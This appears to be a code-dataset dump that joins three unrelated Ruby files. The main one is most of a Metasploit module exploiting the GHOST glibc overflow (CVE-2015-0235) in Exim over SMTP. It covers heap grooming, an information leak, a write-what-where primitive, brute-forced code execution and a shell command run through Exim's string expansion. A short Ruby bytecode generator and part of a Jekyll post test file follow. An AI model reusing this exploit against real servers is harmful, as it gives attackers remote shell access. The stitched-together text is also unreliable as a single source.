"Brute-force SUCCESS" followed by a nil reply, but no shell: the remote
Unix command was executed, but spawned a bind-shell or a reverse-shell
that failed to connect (maybe because of a firewall, or a NAT, etc).
------------------------------------------------------------------------
"Brute-force SUCCESS" followed by a non-nil reply, and no shell: the
remote Unix command was executed, but failed to spawn the shell (maybe
because the setsid command doesn't exist, or awk isn't gawk, or netcat
doesn't support the -6 or -e option, or telnet doesn't support the -z
option, etc).
------------------------------------------------------------------------
Comments and questions are welcome!
),
'Author' => ['Qualys, Inc. <qsa[at]qualys.com>'],
'License' => BSD_LICENSE,
'References' => [
['CVE', '2015-0235'],
['US-CERT-VU', '967332'],
['OSVDB', '117579'],
['BID', '72325'],
['URL', 'https://www.qualys.com/research/security-advisories/GHOST-CVE-2015-0235.txt']
],
'DisclosureDate' => 'Jan 27 2015',
'Privileged' => false, # uid=101(Debian-exim) gid=103(Debian-exim) groups=103(Debian-exim)
'Platform' => 'unix', # actually 'linux', but we execute a unix-command payload
'Arch' => ARCH_CMD, # actually [ARCH_X86, ARCH_X86_64], but ^
'Payload' => {
'Space' => 255, # the shorter the payload, the higher the probability of code execution
'BadChars' => "", # we encode the payload ourselves, because ^
'DisableNops' => true,
'ActiveTimeout' => 24*60*60 # we may need more than 150 s to execute our bind-shell
},
'Targets' => [['Automatic', {}]],
'DefaultTarget' => 0
))
register_options([
Opt::RPORT(25),
OptAddress.new('SENDER_HOST_ADDRESS', [false,
'The IPv4 address of the SMTP client (Metasploit), as seen by the SMTP server (Exim)', nil])
], self.class)
register_advanced_options([
OptBool.new('I_KNOW_WHAT_I_AM_DOING', [false, 'Please read the source code for details', nil])
], self.class)
end
def check
# for now, no information about the vulnerable state of the target
check_code = Exploit::CheckCode::Unknown
begin
# not exploiting, just checking
smtp_connect(false)
# malloc()ate gethostbyname's buffer, and
# make sure its next_chunk isn't the top chunk
9.times do
smtp_send("HELO ", "", "0", "", "", 1024+16-1+0)
smtp_recv(HELO_CODES)
end
# overflow (4 bytes) gethostbyname's buffer, and
# overwrite its next_chunk's size field with 0x00303030
smtp_send("HELO ", "", "0", "", "", 1024+16-1+4)
# from now on, an exception means vulnerable
check_code = Exploit::CheckCode::Vulnerable
# raise an exception if no valid SMTP reply
reply = smtp_recv(ANY_CODE)
# can't determine vulnerable state if smtp_verify_helo() isn't called
return Exploit::CheckCode::Unknown if reply[:code] !~ /#{HELO_CODES}/
# realloc()ate gethostbyname's buffer, and
# crash (old glibc) or abort (new glibc)
# on the overwritten size field
smtp_send("HELO ", "", "0", "", "", 2048-16-1+4)
# raise an exception if no valid SMTP reply
reply = smtp_recv(ANY_CODE)
# can't determine vulnerable state if smtp_verify_helo() isn't called
return Exploit::CheckCode::Unknown if reply[:code] !~ /#{HELO_CODES}/
# a vulnerable target should've crashed by now
check_code = Exploit::CheckCode::Safe
rescue
peer = "#{rhost}:#{rport}"
vprint_debug("#{peer} - Caught #{$!.class}: #{$!.message}")
ensure
smtp_disconnect
end
return check_code
end
def exploit
unless datastore['I_KNOW_WHAT_I_AM_DOING']
print_status("Checking if target is vulnerable...")
fail_with("exploit", "Vulnerability check failed.") if check != Exploit::CheckCode::Vulnerable
print_good("Target is vulnerable.")
end
information_leak
code_execution
end
private
HELO_CODES = '250|451|550'
ANY_CODE = '[0-9]{3}'
MIN_HEAP_SHIFT = 80
MIN_HEAP_SIZE = 128 * 1024
MAX_HEAP_SIZE = 1024 * 1024
# Exim
ALIGNMENT = 8
STORE_BLOCK_SIZE = 8192
STOREPOOL_MIN_SIZE = 256
LOG_BUFFER_SIZE = 8192
BIG_BUFFER_SIZE = 16384
SMTP_CMD_BUFFER_SIZE = 16384
IN_BUFFER_SIZE = 8192
# GNU C Library
PREV_INUSE = 0x1
NS_MAXDNAME = 1025
# Linux
MMAP_MIN_ADDR = 65536
def information_leak
print_status("Trying information leak...")
leaked_arch = nil
leaked_addr = []
# try different heap_shift values, in case Exim's heap address contains
# bad chars (NUL, CR, LF) and was mangled during the information leak;
# we'll keep the longest one (the least likely to have been truncated)
16.times do
done = catch(:another_heap_shift) do
heap_shift = MIN_HEAP_SHIFT + (rand(1024) & ~15)
print_debug("#{{ heap_shift: heap_shift }}")
# write the malloc_chunk header at increasing offsets (8-byte step),
# until we overwrite the "503 sender not yet given" error message
128.step(256, 8) do |write_offset|
error = try_information_leak(heap_shift, write_offset)
print_debug("#{{ write_offset: write_offset, error: error }}")
throw(:another_heap_shift) if not error
next if error == "503 sender not yet given"
# try a few more offsets (allows us to double-check things,
# and distinguish between 32-bit and 64-bit machines)
error = [error]
1.upto(5) do |i|
error[i] = try_information_leak(heap_shift, write_offset + i*8)
throw(:another_heap_shift) if not error[i]
end
print_debug("#{{ error: error }}")
_leaked_arch = leaked_arch
if (error[0] == error[1]) and (error[0].empty? or (error[0].unpack('C')[0] & 7) == 0) and # fd_nextsize
(error[2] == error[3]) and (error[2].empty? or (error[2].unpack('C')[0] & 7) == 0) and # fd
(error[4] =~ /\A503 send[^e].?\z/mn) and ((error[4].unpack('C*')[8] & 15) == PREV_INUSE) and # size
(error[5] == "177") # the last \x7F of our BAD1 command, encoded as \\177 by string_printing()
leaked_arch = ARCH_X86_64
elsif (error[0].empty? or (error[0].unpack('C')[0] & 3) == 0) and # fd_nextsize
(error[1].empty? or (error[1].unpack('C')[0] & 3) == 0) and # fd
(error[2] =~ /\A503 [^s].?\z/mn) and ((error[2].unpack('C*')[4] & 7) == PREV_INUSE) and # size
(error[3] == "177") # the last \x7F of our BAD1 command, encoded as \\177 by string_printing()
leaked_arch = ARCH_X86
else
throw(:another_heap_shift)
end
print_debug("#{{ leaked_arch: leaked_arch }}")
fail_with("infoleak", "arch changed") if _leaked_arch and _leaked_arch != leaked_arch
# try different large-bins: most of them should be empty,
# so keep the most frequent fd_nextsize address
# (a pointer to the malloc_chunk itself)
count = Hash.new(0)
0.upto(9) do |last_digit|
error = try_information_leak(heap_shift, write_offset, last_digit)
next if not error or error.length < 2 # heap_shift can fix the 2 least significant NUL bytes
next if (error.unpack('C')[0] & (leaked_arch == ARCH_X86 ? 7 : 15)) != 0 # MALLOC_ALIGN_MASK
count[error] += 1
end
print_debug("#{{ count: count }}")
throw(:another_heap_shift) if count.empty?
# convert count to a nested array of [key, value] arrays and sort it
error_count = count.sort { |a, b| b[1] <=> a[1] }
error_count = error_count.first # most frequent
error = error_count[0]
count = error_count[1]
throw(:another_heap_shift) unless count >= 6 # majority
leaked_addr.push({ error: error, shift: heap_shift })
# common-case shortcut
if (leaked_arch == ARCH_X86 and error[0,4] == error[4,4] and error[8..-1] == "er not yet given") or
(leaked_arch == ARCH_X86_64 and error.length == 6 and error[5].count("\x7E-\x7F").nonzero?)
leaked_addr = [leaked_addr.last] # use this one, and not another
throw(:another_heap_shift, true) # done
end
throw(:another_heap_shift)
end
throw(:another_heap_shift)
end
break if done
end
fail_with("infoleak", "not vuln? old glibc? (no leaked_arch)") if leaked_arch.nil?
fail_with("infoleak", "NUL, CR, LF in addr? (no leaked_addr)") if leaked_addr.empty?
leaked_addr.sort! { |a, b| b[:error].length <=> a[:error].length }
leaked_addr = leaked_addr.first # longest
error = leaked_addr[:error]
shift = leaked_addr[:shift]
leaked_addr = 0
(leaked_arch == ARCH_X86 ? 4 : 8).times do |i|
break if i >= error.length
leaked_addr += error.unpack('C*')[i] * (2**(i*8))
end
# leaked_addr should point to the beginning of Exim's smtp_cmd_buffer:
leaked_addr -= 2*SMTP_CMD_BUFFER_SIZE + IN_BUFFER_SIZE + 4*(11*1024+shift) + 3*1024 + STORE_BLOCK_SIZE
fail_with("infoleak", "NUL, CR, LF in addr? (no leaked_addr)") if leaked_addr <= MMAP_MIN_ADDR
print_good("Successfully leaked_arch: #{leaked_arch}")
print_good("Successfully leaked_addr: #{leaked_addr.to_s(16)}")
@leaked = { arch: leaked_arch, addr: leaked_addr }
end
def try_information_leak(heap_shift, write_offset, last_digit = 9)
fail_with("infoleak", "heap_shift") if (heap_shift < MIN_HEAP_SHIFT)
fail_with("infoleak", "heap_shift") if (heap_shift & 15) != 0
fail_with("infoleak", "write_offset") if (write_offset & 7) != 0
fail_with("infoleak", "last_digit") if "#{last_digit}" !~ /\A[0-9]\z/
smtp_connect
# bulletproof Heap Feng Shui; the hard part is avoiding:
# "Too many syntax or protocol errors" (3)
# "Too many unrecognized commands" (3)
# "Too many nonmail commands" (10)
smtp_send("HELO ", "", "0", @sender[:hostaddr8], "", 11*1024+13-1 + heap_shift)
smtp_recv(250)
smtp_send("HELO ", "", "0", @sender[:hostaddr8], "", 3*1024+13-1)
smtp_recv(250)
smtp_send("HELO ", "", "0", @sender[:hostaddr8], "", 3*1024+16+13-1)
smtp_recv(250)
smtp_send("HELO ", "", "0", @sender[:hostaddr8], "", 8*1024+16+13-1)
smtp_recv(250)
smtp_send("HELO ", "", "0", @sender[:hostaddr8], "", 5*1024+16+13-1)
smtp_recv(250)
# overflow (3 bytes) gethostbyname's buffer, and
# overwrite its next_chunk's size field with 0x003?31
# ^ last_digit
smtp_send("HELO ", "", "0", ".1#{last_digit}", "", 12*1024+3-1 + heap_shift-MIN_HEAP_SHIFT)
begin # ^ 0x30 | PREV_INUSE
smtp_recv(HELO_CODES)
smtp_send("RSET")
smtp_recv(250)
smtp_send("RCPT TO:", "", method(:rand_text_alpha), "\x7F", "", 15*1024)
smtp_recv(503, 'sender not yet given')
smtp_send("", "BAD1 ", method(:rand_text_alpha), "\x7F\x7F\x7F\x7F", "", 10*1024-16-1 + write_offset)
smtp_recv(500, '\A500 unrecognized command\r\n\z')
smtp_send("BAD2 ", "", method(:rand_text_alpha), "\x7F", "", 15*1024)
smtp_recv(500, '\A500 unrecognized command\r\n\z')
smtp_send("DATA")
reply = smtp_recv(503)
lines = reply[:lines]
fail if lines.size <= 3
fail if lines[+0] != "503-All RCPT commands were rejected with this error:\r\n"
fail if lines[-2] != "503-valid RCPT command must precede DATA\r\n"
fail if lines[-1] != "503 Too many syntax or protocol errors\r\n"
# if leaked_addr contains LF, reverse smtp_respond()'s multiline splitting
# (the "while (isspace(*msg)) msg++;" loop can't be easily reversed,
# but happens with lower probability)
error = lines[+1..-3].join("")
error.sub!(/\A503-/mn, "")
error.sub!(/\r\n\z/mn, "")
error.gsub!(/\r\n503-/mn, "\n")
return error
rescue
return nil
end
ensure
smtp_disconnect
end
def code_execution
print_status("Trying code execution...")
# can't "${run{/bin/sh -c 'exec /bin/sh -i <&#{b} >&0 2>&0'}} " anymore:
# DW/26 Set FD_CLOEXEC on SMTP sockets after forking in the daemon, to ensure
# that rogue child processes cannot use them.
fail_with("codeexec", "encoded payload") if payload.raw != payload.encoded
fail_with("codeexec", "invalid payload") if payload.raw.empty? or payload.raw.count("^\x20-\x7E").nonzero?
# Exim processes our run-ACL with expand_string() first (hence the [\$\{\}\\] escapes),
# and transport_set_up_command(), string_dequote() next (hence the [\"\\] escapes).
encoded = payload.raw.gsub(/[\"\\]/, '\\\\\\&').gsub(/[\$\{\}\\]/, '\\\\\\&')
# setsid because of Exim's "killpg(pid, SIGKILL);" after "alarm(60);"
command = '${run{/usr/bin/env setsid /bin/sh -c "' + encoded + '"}}'
print_debug(command)
# don't try to execute commands directly, try a very simple ACL first,
# to distinguish between exploitation-problems and shellcode-problems
acldrop = "drop message="
message = rand_text_alpha(command.length - acldrop.length)
acldrop += message
max_rand_offset = (@leaked[:arch] == ARCH_X86 ? 32 : 64)
max_heap_addr = @leaked[:addr]
min_heap_addr = nil
survived = nil
# we later fill log_buffer and big_buffer with alpha chars,
# which creates a safe-zone at the beginning of the heap,
# where we can't possibly crash during our brute-force
# 4, because 3 copies of sender_helo_name, and step_len;
# start big, but refine little by little in case
# we crash because we overwrite important data
helo_len = (LOG_BUFFER_SIZE + BIG_BUFFER_SIZE) / 4
loop do
sender_helo_name = "A" * helo_len
address = sprintf("[%s]:%d", @sender[:hostaddr], 65535)
# the 3 copies of sender_helo_name, allocated by
# host_build_sender_fullhost() in POOL_PERM memory
helo_ip_size = ALIGNMENT +
sender_helo_name[+1..-2].length
sender_fullhost_size = ALIGNMENT +
sprintf("%s (%s) %s", @sender[:hostname], sender_helo_name, address).length
sender_rcvhost_size = ALIGNMENT + ((@sender[:ident] == nil) ?
sprintf("%s (%s helo=%s)", @sender[:hostname], address, sender_helo_name) :
sprintf("%s\n\t(%s helo=%s ident=%s)", @sender[:hostname], address, sender_helo_name, @sender[:ident])
).length
# fit completely into the safe-zone
step_len = (LOG_BUFFER_SIZE + BIG_BUFFER_SIZE) -
(max_rand_offset + helo_ip_size + sender_fullhost_size + sender_rcvhost_size)
loop do
# inside smtp_cmd_buffer (we later fill smtp_cmd_buffer and smtp_data_buffer
# with alpha chars, which creates another safe-zone at the end of the heap)
heap_addr = max_heap_addr
loop do
# try harder the first time around: we obtain better
# heap boundaries, and we usually hit our ACL faster
(min_heap_addr ? 1 : 2).times do
# try the same heap_addr several times, but with different random offsets,
# in case we crash because our hijacked storeblock's length field is too small
# (we don't control what's stored at heap_addr)
rand_offset = rand(max_rand_offset)
print_debug("#{{ helo: helo_len, step: step_len, addr: heap_addr.to_s(16), offset: rand_offset }}")
reply = try_code_execution(helo_len, acldrop, heap_addr + rand_offset)
print_debug("#{{ reply: reply }}") if reply
if reply and
reply[:code] == "550" and
# detect the parsed ACL, not the "still in text form" ACL (with "=")
reply[:lines].join("").delete("^=A-Za-z") =~ /(\A|[^=])#{message}/mn
print_good("Brute-force SUCCESS")
print_good("Please wait for reply...")
# execute command this time, not acldrop
reply = try_code_execution(helo_len, command, heap_addr + rand_offset)
print_debug("#{{ reply: reply }}")
return handler
end
if not min_heap_addr
if reply
fail_with("codeexec", "no min_heap_addr") if (max_heap_addr - heap_addr) >= MAX_HEAP_SIZE
survived = heap_addr
else
if ((survived ? survived : max_heap_addr) - heap_addr) >= MIN_HEAP_SIZE
# survived should point to our safe-zone at the beginning of the heap
fail_with("codeexec", "never survived") if not survived
print_good "Brute-forced min_heap_addr: #{survived.to_s(16)}"
min_heap_addr = survived
end
end
end
end
heap_addr -= step_len
break if min_heap_addr and heap_addr < min_heap_addr
end
break if step_len < 1024
step_len /= 2
end
helo_len /= 2
break if helo_len < 1024
# ^ otherwise the 3 copies of sender_helo_name will
# fit into the current_block of POOL_PERM memory
end
fail_with("codeexec", "Brute-force FAILURE")
end
# our write-what-where primitive
def try_code_execution(len, what, where)
fail_with("codeexec", "#{what.length} >= #{len}") if what.length >= len
fail_with("codeexec", "#{where} < 0") if where < 0
x86 = (@leaked[:arch] == ARCH_X86)
min_heap_shift = (x86 ? 512 : 768) # at least request2size(sizeof(FILE))
heap_shift = min_heap_shift + rand(1024 - min_heap_shift)
last_digit = 1 + rand(9)
smtp_connect
# fill smtp_cmd_buffer, smtp_data_buffer, and big_buffer with alpha chars
smtp_send("MAIL FROM:", "", method(:rand_text_alpha), "<#{rand_text_alpha_upper(8)}>", "", BIG_BUFFER_SIZE -
"501 : sender address must contain a domain\r\n\0".length)
smtp_recv(501, 'sender address must contain a domain')
smtp_send("RSET")
smtp_recv(250)
# bulletproof Heap Feng Shui; the hard part is avoiding:
# "Too many syntax or protocol errors" (3)
# "Too many unrecognized commands" (3)
# "Too many nonmail commands" (10)
# / 5, because "\x7F" is non-print, and:
# ss = store_get(length + nonprintcount * 4 + 1);
smtp_send("BAD1 ", "", "\x7F", "", "", (19*1024 + heap_shift) / 5)
smtp_recv(500, '\A500 unrecognized command\r\n\z')
smtp_send("HELO ", "", "0", @sender[:hostaddr8], "", 5*1024+13-1)
smtp_recv(250)
smtp_send("HELO ", "", "0", @sender[:hostaddr8], "", 3*1024+13-1)
smtp_recv(250)
smtp_send("BAD2 ", "", "\x7F", "", "", (13*1024 + 128) / 5)
smtp_recv(500, '\A500 unrecognized command\r\n\z')
smtp_send("HELO ", "", "0", @sender[:hostaddr8], "", 3*1024+16+13-1)
smtp_recv(250)
# overflow (3 bytes) gethostbyname's buffer, and
# overwrite its next_chunk's size field with 0x003?31
# ^ last_digit
smtp_send("EHLO ", "", "0", ".1#{last_digit}", "", 5*1024+64+3-1)
smtp_recv(HELO_CODES) # ^ 0x30 | PREV_INUSE
# auth_xtextdecode() is the only way to overwrite the beginning of a
# current_block of memory (the "storeblock" structure) with arbitrary data
# (so that our hijacked "next" pointer can contain NUL, CR, LF characters).
# this shapes the rest of our exploit: we overwrite the beginning of the
# current_block of POOL_PERM memory with the current_block of POOL_MAIN
# memory (allocated by auth_xtextdecode()).
auth_prefix = rand_text_alpha(x86 ? 11264 : 11280)
(x86 ? 4 : 8).times { |i| auth_prefix += sprintf("+%02x", (where >> (i*8)) & 255) }
auth_prefix += "."
# also fill log_buffer with alpha chars
smtp_send("MAIL FROM:<> AUTH=", auth_prefix, method(:rand_text_alpha), "+", "", 0x3030)
smtp_recv(501, 'invalid data for AUTH')
smtp_send("HELO ", "[1:2:3:4:5:6:7:8%eth0:", " ", "#{what}]", "", len)
begin
reply = smtp_recv(ANY_CODE)
return reply if reply[:code] !~ /#{HELO_CODES}/
return reply if reply[:code] != "250" and reply[:lines].first !~ /argument does not match calling host/
smtp_send("MAIL FROM:<>")
reply = smtp_recv(ANY_CODE)
return reply if reply[:code] != "250"
smtp_send("RCPT TO:<postmaster>")
reply = smtp_recv
return reply
rescue
return nil
end
ensure
smtp_disconnect
end
DIGITS = '([0-9]|[1-9][0-9]|1[0-9][0-9]|2[0-4][0-9]|25[0-5])'
DOT = '[.]'
def smtp_connect(exploiting = true)
fail_with("smtp_connect", "sock isn't nil") if sock
connect
fail_with("smtp_connect", "sock is nil") if not sock
@smtp_state = :recv
banner = smtp_recv(220)
return if not exploiting
sender_host_address = datastore['SENDER_HOST_ADDRESS']
if sender_host_address !~ /\A#{DIGITS}#{DOT}#{DIGITS}#{DOT}#{DIGITS}#{DOT}#{DIGITS}\z/
fail_with("smtp_connect", "bad SENDER_HOST_ADDRESS (nil)") if sender_host_address.nil?
fail_with("smtp_connect", "bad SENDER_HOST_ADDRESS (not in IPv4 dotted-decimal notation)")
end
sender_host_address_octal = "0" + $1.to_i.to_s(8) + ".#{$2}.#{$3}.#{$4}"
# turn helo_seen on (enable the MAIL command)
# call smtp_verify_helo() (force fopen() and small malloc()s)
# call host_find_byname() (force gethostbyname's initial 1024-byte malloc())
smtp_send("HELO #{sender_host_address_octal}")
reply = smtp_recv(HELO_CODES)
if reply[:code] != "250"
fail_with("smtp_connect", "not Exim?") if reply[:lines].first !~ /argument does not match calling host/
fail_with("smtp_connect", "bad SENDER_HOST_ADDRESS (helo_verify_hosts)")
end
if reply[:lines].first =~ /\A250 (\S*) Hello (.*) \[(\S*)\]\r\n\z/mn
fail_with("smtp_connect", "bad SENDER_HOST_ADDRESS (helo_try_verify_hosts)") if sender_host_address != $3
smtp_active_hostname = $1
sender_host_name = $2
if sender_host_name =~ /\A(.*) at (\S*)\z/mn
sender_host_name = $2
sender_ident = $1
else
sender_ident = nil
end
fail_with("smtp_connect", "bad SENDER_HOST_ADDRESS (no FCrDNS)") if sender_host_name == sender_host_address_octal
else
# can't double-check sender_host_address here, so only for advanced users
fail_with("smtp_connect", "user-supplied EHLO greeting") unless datastore['I_KNOW_WHAT_I_AM_DOING']
# worst-case scenario
smtp_active_hostname = "A" * NS_MAXDNAME
sender_host_name = "A" * NS_MAXDNAME
sender_ident = "A" * 127 * 4 # sender_ident = string_printing(string_copyn(p, 127));
end
_sender = @sender
@sender = {
hostaddr: sender_host_address,
hostaddr8: sender_host_address_octal,
hostname: sender_host_name,
ident: sender_ident,
__smtp_active_hostname: smtp_active_hostname
}
fail_with("smtp_connect", "sender changed") if _sender and _sender != @sender
# avoid a future pathological case by forcing it now:
# "Do NOT free the first successor, if our current block has less than 256 bytes left."
smtp_send("MAIL FROM:", "<", method(:rand_text_alpha), ">", "", STOREPOOL_MIN_SIZE + 16)
smtp_recv(501, 'sender address must contain a domain')
smtp_send("RSET")
smtp_recv(250, 'Reset OK')
end
def smtp_send(prefix, arg_prefix = nil, arg_pattern = nil, arg_suffix = nil, suffix = nil, arg_length = nil)
fail_with("smtp_send", "state is #{@smtp_state}") if @smtp_state != :send
@smtp_state = :sending
if not arg_pattern
fail_with("smtp_send", "prefix is nil") if not prefix
fail_with("smtp_send", "param isn't nil") if arg_prefix or arg_suffix or suffix or arg_length
command = prefix
else
fail_with("smtp_send", "param is nil") unless prefix and arg_prefix and arg_suffix and suffix and arg_length
length = arg_length - arg_prefix.length - arg_suffix.length
fail_with("smtp_send", "len is #{length}") if length <= 0
argument = arg_prefix
case arg_pattern
when String
argument += arg_pattern * (length / arg_pattern.length)
argument += arg_pattern[0, length % arg_pattern.length]
when Method
argument += arg_pattern.call(length)
end
argument += arg_suffix
fail_with("smtp_send", "arglen is #{argument.length}, not #{arg_length}") if argument.length != arg_length
command = prefix + argument + suffix
end
fail_with("smtp_send", "invalid char in cmd") if command.count("^\x20-\x7F") > 0
fail_with("smtp_send", "cmdlen is #{command.length}") if command.length > SMTP_CMD_BUFFER_SIZE
command += "\n" # RFC says CRLF, but squeeze as many chars as possible in smtp_cmd_buffer
# the following loop works around a bug in the put() method:
# "while (send_idx < send_len)" should be "while (send_idx < buf.length)"
# (or send_idx and/or send_len could be removed altogether, like here)
while command and not command.empty?
num_sent = sock.put(command)
fail_with("smtp_send", "sent is #{num_sent}") if num_sent <= 0
fail_with("smtp_send", "sent is #{num_sent}, greater than #{command.length}") if num_sent > command.length
command = command[num_sent..-1]
end
@smtp_state = :recv
end
def smtp_recv(expected_code = nil, expected_data = nil)
fail_with("smtp_recv", "state is #{@smtp_state}") if @smtp_state != :recv
@smtp_state = :recving
failure = catch(:failure) do
# parse SMTP replies very carefully (the information
# leak injects arbitrary data into multiline replies)
data = ""
while data !~ /(\A|\r\n)[0-9]{3}[ ].*\r\n\z/mn
begin
more_data = sock.get_once
rescue
throw(:failure, "Caught #{$!.class}: #{$!.message}")
end
throw(:failure, "no more data") if more_data.nil?
throw(:failure, "no more data") if more_data.empty?
data += more_data
end
throw(:failure, "malformed reply (count)") if data.count("\0") > 0
lines = data.scan(/(?:\A|\r\n)[0-9]{3}[ -].*?(?=\r\n(?=[0-9]{3}[ -]|\z))/mn)
throw(:failure, "malformed reply (empty)") if lines.empty?
code = nil
lines.size.times do |i|
lines[i].sub!(/\A\r\n/mn, "")
lines[i] += "\r\n"
if i == 0
code = lines[i][0,3]
throw(:failure, "bad code") if code !~ /\A[0-9]{3}\z/mn
if expected_code and code !~ /\A(#{expected_code})\z/mn
throw(:failure, "unexpected #{code}, expected #{expected_code}")
end
end
line_begins_with = lines[i][0,4]
line_should_begin_with = code + (i == lines.size-1 ? " " : "-")
if line_begins_with != line_should_begin_with
throw(:failure, "line begins with #{line_begins_with}, " \
"should begin with #{line_should_begin_with}")
end
end
throw(:failure, "malformed reply (join)") if lines.join("") != data
if expected_data and data !~ /#{expected_data}/mn
throw(:failure, "unexpected data")
end
reply = { code: code, lines: lines }
@smtp_state = :send
return reply
end
fail_with("smtp_recv", "#{failure}") if expected_code
return nil
end
def smtp_disconnect
disconnect if sock
fail_with("smtp_disconnect", "sock isn't nil") if sock
@smtp_state = :disconnected
end
end | 42.536122 | 120 | 0.589941 |
62e42c78db5a9fedb92707aa96d628b459e42a70 | 2,136 | class Compiler
class TextGenerator
@@method_id = 0
def initialize
@text = ""
@label = 0
@other_methods = {}
@ip = 0
@file = "(unknown)"
@line = 0
end
attr_reader :text, :ip, :file, :line
attr_accessor :redo, :retry, :break
def advanced_since?(old)
old < @ip
end
def advance(count=1)
@ip += count
end
class Label
def initialize(gen, idx)
@gen = gen
@index = idx
end
attr_reader :index
def set!
@gen.set_label(@index)
end
def inspect
"l#{@index}"
end
end
def new_label
Label.new(self, @label += 1)
end
def set_label(idx)
@text << "l#{idx}:\n"
end
def run(node)
node.bytecode(self)
end
def set_line(line, file)
@file, @line = file, line
@text << "#line #{line}\n"
end
def close
return if @other_methods.empty?
@other_methods.each_pair do |i,m|
@text << "\n:==== Method #{i} ====\n"
@text << m.generator.text
@text << "\n"
end
end
def method_missing(op, *args)
if args.empty?
@text << "#{op}\n"
advance
else
@text << "#{op} #{args.join(' ', :inspect)}\n"
advance 1 + args.size
end
end
def push(what)
@text << "push #{what}\n"
advance
end
def send(meth, count, priv=false)
@text << "send #{meth} #{count}"
if priv
@text << " true ; allow private\n"
else
@text << "\n"
end
advance
end
def dup
method_missing :dup
end
def push_literal(lit)
if lit.kind_of? Compiler::MethodDescription
@text << "push_literal #<Method #{@@method_id}>\n"
@other_methods[@@method_id] = lit
@@method_id += 1
advance
else
method_missing :push_literal, lit
end
end
def as_primitive(name)
@text << "#primitive #{name}\n"
end
end
end | 18.573913 | 58 | 0.476592 |
bf9b741c776f284e3f67f4b2297ae4b6dca6b85b | 25,204 | # encoding: utf-8
require 'helper'
class TestPost < Test::Unit::TestCase
def setup_post(file)
Post.new(@site, source_dir, '', file)
end
def do_render(post)
layouts = { "default" => Layout.new(@site, source_dir('_layouts'), "simple.html")}
post.render(layouts, {"site" => {"posts" => []}})
end
context "A Post" do
setup do
clear_dest
stub(Jekyll).configuration { Jekyll::Configuration::DEFAULTS }
@site = Site.new(Jekyll.configuration)
end
should "ensure valid posts are valid" do
assert Post.valid?("2008-09-09-foo-bar.textile")
assert Post.valid?("foo/bar/2008-09-09-foo-bar.textile")
assert !Post.valid?("lol2008-09-09-foo-bar.textile")
assert !Post.valid?("blah")
end
should "make properties accessible through #[]" do
post = setup_post('2013-12-20-properties.text')
attrs = {
categories: %w(foo bar baz),
content: "All the properties.\n\nPlus an excerpt.\n",
date: Time.new(2013, 12, 20),
dir: "/foo/bar/baz/2013/12/20",
excerpt: "All the properties.\n\n",
foo: 'bar',
id: "/foo/bar/baz/2013/12/20/properties",
layout: 'default',
name: nil,
path: "_posts/2013-12-20-properties.text",
permalink: nil,
published: nil,
tags: %w(ay bee cee),
title: 'Properties Post',
url: "/foo/bar/baz/2013/12/20/properties.html"
}
attrs.each do |attr, val|
attr_str = attr.to_s
result = post[attr_str]
assert_equal val, result, "For <post[\"#{attr_str}\"]>:"
end
end
context "processing posts" do
setup do
@post = Post.allocate
@post.site = @site
@real_file = "2008-10-18-foo-bar.textile"
@fake_file = "2008-09-09-foo-bar.textile"
@source = source_dir('_posts')
end
should "keep date, title, and markup type" do
@post.categories = []
@post.process(@fake_file)
assert_equal Time.parse("2008-09-09"), @post.date
assert_equal "foo-bar", @post.slug
assert_equal ".textile", @post.ext
assert_equal "/2008/09/09", @post.dir
assert_equal "/2008/09/09/foo-bar", @post.id
end
should "keep categories" do
post = Post.allocate
post.site = @site
post.process("cat1/2008-09-09-foo-bar.textile")
assert_equal 1, post.categories.size
assert_equal "cat1", post.categories[0]
post = Post.allocate
post.site = @site
post.process("cat2/CAT3/2008-09-09-foo-bar.textile")
assert_equal 2, post.categories.size
assert_equal "cat2", post.categories[0]
assert_equal "cat3", post.categories[1]
end
should "create url based on date and title" do
@post.categories = []
@post.process(@fake_file)
assert_equal "/2008/09/09/foo-bar.html", @post.url
end
should "raise a good error on invalid post date" do
assert_raise Jekyll::Errors::FatalException do
@post.process("2009-27-03-foo-bar.textile")
end
end
should "escape urls" do
@post.categories = []
@post.process("2009-03-12-hash-#1.markdown")
assert_equal "/2009/03/12/hash-%231.html", @post.url
assert_equal "/2009/03/12/hash-#1", @post.id
end
should "escape urls with non-alphabetic characters" do
@post.categories = []
@post.process("2014-03-22-escape-+ %20[].markdown")
assert_equal "/2014/03/22/escape-+%20%2520%5B%5D.html", @post.url
assert_equal "/2014/03/22/escape-+ %20[]", @post.id
end
should "return a UTF-8 escaped string" do
assert_equal Encoding::UTF_8, URL.escape_path("/rails笔记/2014/04/20/escaped/").encoding
end
should "return a UTF-8 unescaped string" do
assert_equal Encoding::UTF_8, URL.unescape_path("/rails%E7%AC%94%E8%AE%B0/2014/04/20/escaped/".encode(Encoding::ASCII)).encoding
end
should "respect permalink in yaml front matter" do
file = "2008-12-03-permalinked-post.textile"
@post.process(file)
@post.read_yaml(@source, file)
assert_equal "my_category/permalinked-post", @post.permalink
assert_equal "/my_category", @post.dir
assert_equal "/my_category/permalinked-post", @post.url
end
should "not be writable outside of destination" do
unexpected = File.expand_path("../../../baddie.html", dest_dir)
File.delete unexpected if File.exist?(unexpected)
post = setup_post("2014-01-06-permalink-traversal.md")
do_render(post)
post.write(dest_dir)
assert !File.exist?(unexpected)
assert File.exist?(File.expand_path("baddie.html", dest_dir))
end
context "with CRLF linebreaks" do
setup do
@real_file = "2009-05-24-yaml-linebreak.markdown"
@source = source_dir('win/_posts')
end
should "read yaml front-matter" do
@post.read_yaml(@source, @real_file)
assert_equal({"title" => "Test title", "layout" => "post", "tag" => "Ruby"}, @post.data)
assert_equal "This is the content", @post.content
end
end
context "with three dots ending YAML header" do
setup do
@real_file = "2014-03-03-yaml-with-dots.md"
end
should "should read the YAML header" do
@post.read_yaml(@source, @real_file)
assert_equal({"title" => "Test Post Where YAML Ends in Dots"},
@post.data)
end
end
context "with embedded triple dash" do
setup do
@real_file = "2010-01-08-triple-dash.markdown"
end
should "consume the embedded dashes" do
@post.read_yaml(@source, @real_file)
assert_equal({"title" => "Foo --- Bar"}, @post.data)
assert_equal "Triple the fun!", @post.content
end
end
context "with site wide permalink" do
setup do
@post.categories = []
end
context "with unspecified (date) style" do
setup do
@post.process(@fake_file)
end
should "process the url correctly" do
assert_equal "/:categories/:year/:month/:day/:title.html", @post.template
assert_equal "/2008/09/09/foo-bar.html", @post.url
end
end
context "with unspecified (date) style and a category" do
setup do
@post.categories << "beer"
@post.process(@fake_file)
end
should "process the url correctly" do
assert_equal "/:categories/:year/:month/:day/:title.html", @post.template
assert_equal "/beer/2008/09/09/foo-bar.html", @post.url
end
end
